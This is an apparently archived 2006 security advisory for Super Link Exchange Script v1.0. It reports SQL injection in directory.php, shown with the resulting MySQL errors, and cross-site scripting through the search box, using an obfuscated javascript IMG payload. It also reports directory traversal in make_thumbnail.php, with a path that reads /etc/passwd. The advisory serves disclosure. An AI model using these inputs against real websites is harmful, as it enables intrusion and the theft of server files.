Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:12856
HistoryMay 27, 2006 - 12:00 a.m.

Super Link Exchange Script v1.0

2006-05-2700:00:00
vulners.com
11

Super Link Exchange Script v1.0

Homepage:
http://www.ebizunion.com/guidetosuper.php

Description:
Main Features: 1. Add unlimited nested category/sub-category, 2. Can check reciprocal link back, 3.
Can hide and delete no link back sites. 4. Template can be edited and suitable to fit your current
webpage design. 5. Free to join
in ebizunion.com and download free. 6. Upgrade to super member can find link partners from
ebizunion.com and transfer link information to user's link directory real time. 7. Powerful Business
Directory for you find best link partners. Display your Thumbnail or Business Logo

Effected files:
search input form
directory.php
make_thumbnail.php

SQL Injections:
http://www.example.com/directory.php?cat=187'

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
/home/feitian/public_html/

username/directory.php on line 86
Global Business Union :
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in
/home/feitian/public_html/

username/directory.php on line 100
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
/home/feitian/public_html/

username/directory.php on line 103


XSS Vulnerabilities:

Data submitted by uses from the searchbox is not correctlly filtered. An example of a XSS attack would
be to have a user put the following code into the searchbox:<IMG
SRC=javascri&#112

;t:alert('XSS')>


Directory Traversal:

http://www.example.com/make_thumbnail.php?imgpath=../../../../etc/passwd/


Luny - http://www.youfucktard.com